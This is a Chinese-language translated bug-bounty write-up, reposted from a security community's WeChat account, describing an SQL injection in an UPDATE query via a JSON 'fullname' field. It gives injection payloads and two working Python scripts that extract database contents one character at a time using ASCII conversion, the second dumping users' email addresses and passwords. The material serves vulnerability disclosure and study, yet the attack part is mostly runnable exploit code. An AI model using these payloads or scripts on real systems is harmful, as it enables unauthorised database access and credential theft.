专栏名称: 看雪学苑
致力于移动与安全研究的开发者社区,看雪学院(kanxue.com)官方微信公众帐号。
目录
相关文章推荐
初善投资  ·  重点关注这家 ·  23 小时前  
初善投资  ·  重点关注这家 ·  23 小时前  
财联社AIdaily  ·  港股苹果概念股集体走弱 ·  5 天前  
财联社AIdaily  ·  港股苹果概念股集体走弱 ·  5 天前  
安天集团  ·  安天网络行为检测能力升级通告(20240915) ·  1 周前  
程序员鱼皮  ·  阿里云盘惊现逆天 ... ·  1 周前  
计算机与网络安全  ·  新质生产力引擎驱动下的智能制造行业革新(2024) ·  1 周前  
51好读  ›  专栏  ›  看雪学苑

UPDATE 查询中的 SQL 注入

看雪学苑  · 公众号  · 互联网安全  · 2017-03-21 18:03

正文

今天,我介绍一个我最近发现的一个 SQL 注入漏洞。

在一个Hacking夜晚,依然像往常一样喝着我最爱的冰镇果汁,挑了一个 bug 比较多的程序,开始测试。

就像其他研究员一样,我四处测试 XSS payload。(通常用 '">

发生错误的地方是一个 full name 对话框,我紧接着尝试了 test'test ,同样产生了 500 错误,意味着由于单引号的问题导致该错误的发生。

意识到是这个问题后,我猜测服务器应该是构建 SQL 查询的时候没有对单引号进行转义。所以我尝试了手动转义(两个单引号)看会发生什么。我输入了 test''test ,我惊奇的发现错误不见了,而我的 full name 变为了 test'test' 。
由于该对话框是用来修改我的用户全称,故我猜测这是一个UPDATE查询语句。故我尝试了使用 '+@@VERSION+' ,刷新页面后,我的名字变为了 MySQL DBMS 的版本 5.6。

注意:由于这是一个 JSON request,故此处的 + 不会被替换为空格(%20)。

我上报了该问题不久之后,厂商回复了我,请求我进一步深入,同时从数据库中获得更多的信息。

使用这个 SQL 注入漏洞来获取更多数据似乎很难,因为当我尝试扩展查询时总是返回0,由于 MySQL 不支持使用 + 来连接两个字符串。

如果服务器是 SQL server,将会非常简单,我可以轻轻松松的使用 'x'+version()+'x' 来连接两个字符串,之后我的名字可能会变成 x5x 这样。(5是根据不同的版本不同)。

所以,别的 payload,像 'x'+user()+'x' ,将总是返回 0,由于用户名是一个 string,而 + 只能用来相加数字。

故,唯一可能的方法就是,通过转化为数字来获取string的值。因此,我使用了函数 ASCII() 来转化一个string到它对应的ASCII数字,之后我抓取返回结果,再将数字转换回 string。

`'+length(user())#`用来获取要接受的string的长度。
`'+ASCII(substr(user(),1))#`获取要接受的string的第一个字符。
`'+ASCII(substr(user(),2))#`获取要接受的string的第二个字符
`'+ASCII(substr(user(),3))#`获取要接受的string的第三个字符

以此类推。我写了一个脚本来实现这个过程:

import requests
rheaders = {} # Request headers
rcookies = {} # Request cookies
url = 'https:///api/v1/' # Vulnerable endpoint
len = 1000 # length of the string (using 1000 assuming that it won't be more than that,
going out of the string length will return 0 at that moment we know that we got the full
string)
column = 'schema_name' # what to return
table = 'information_schema.schemata' # from what
orderby = 'schema_name'
d=''
start = 0
end = 20
for l in range(start,end):
limit = l
print 'Retrieving '+column+' at row ' + str(limit+1) + '...'
if l > start and d == '':
break
d=''
for i in range(1,len):
r = requests.put(url, json={"fullname":"' ‐ (select
ASCII(substr("+column+","+str(i)+")) from "+table+" order by "+orderby+" limit
"+str(limit)+",1) #"},headers=rheaders,cookies=rcookies)
b = requests.get(url,cookies=rcookies).content.split('fullname":"',1)[1]
[:5] # Get the returned value
n = filter(lambda b:b>='0' and b<='9', b)
d += chr(int(n)) # Convert ASCII number to equivalent character
#print d
if n == '0':
print column + ' at row ' + str(limit+1)+' :‐ ', d
break

使用这个脚本,我可以通过修改’column’,’table’, ‘orderby’变量的值来轻易的获取到数据库的信息。以下是一个截图:

通过一些轻易的修改,我们可以获取到用户的邮件和密码:

运行脚本后截图:


import requests
rheaders = {}
rcookies = {}
url = 'https:///api/v1/'
d = ""
len = 1000
limit = 400000
print 'Retrieving email and pass at row', limit
for i in range(1,len):
r = requests.put(url, json={"fullname":"' ‐ (select
ASCII(substr(concat(email_address,0x3a,password),"+str(i)+")) from __users limit
"+str(limit)+",1) #"},headers=rheaders,cookies=rcookies)
b = requests.get(url,cookies=rcookies).content.split('fullname":"',1)[1][:5]
n = filter(lambda b:b>='0' and b<='9', b)
d += chr(int(n))
print d
if n == '0':
print "Email:Password :‐ ", d
break



本文由 看雪翻译小组 ghostway 编译,来源Mahmoud Jamal@Zombiehelp54


 热 门 阅 读:



《走进企业看安全.易宝支付》第9站 报名倒计时!

AutoIt 脚本反混淆

攻击 Western Digital NAS 个人云存储设备

SELinux 教程之 Permissive VS Enforcing

对 Samsung S6 的 SBOOT 逆向工程(一)

......

更多优秀文章点击左下角“阅读原文”查看!


看雪论坛:http://bbs.pediy.com/

微信公众号 ID:ikanxue

微博:看雪安全

投稿、合作:www.kanxue.com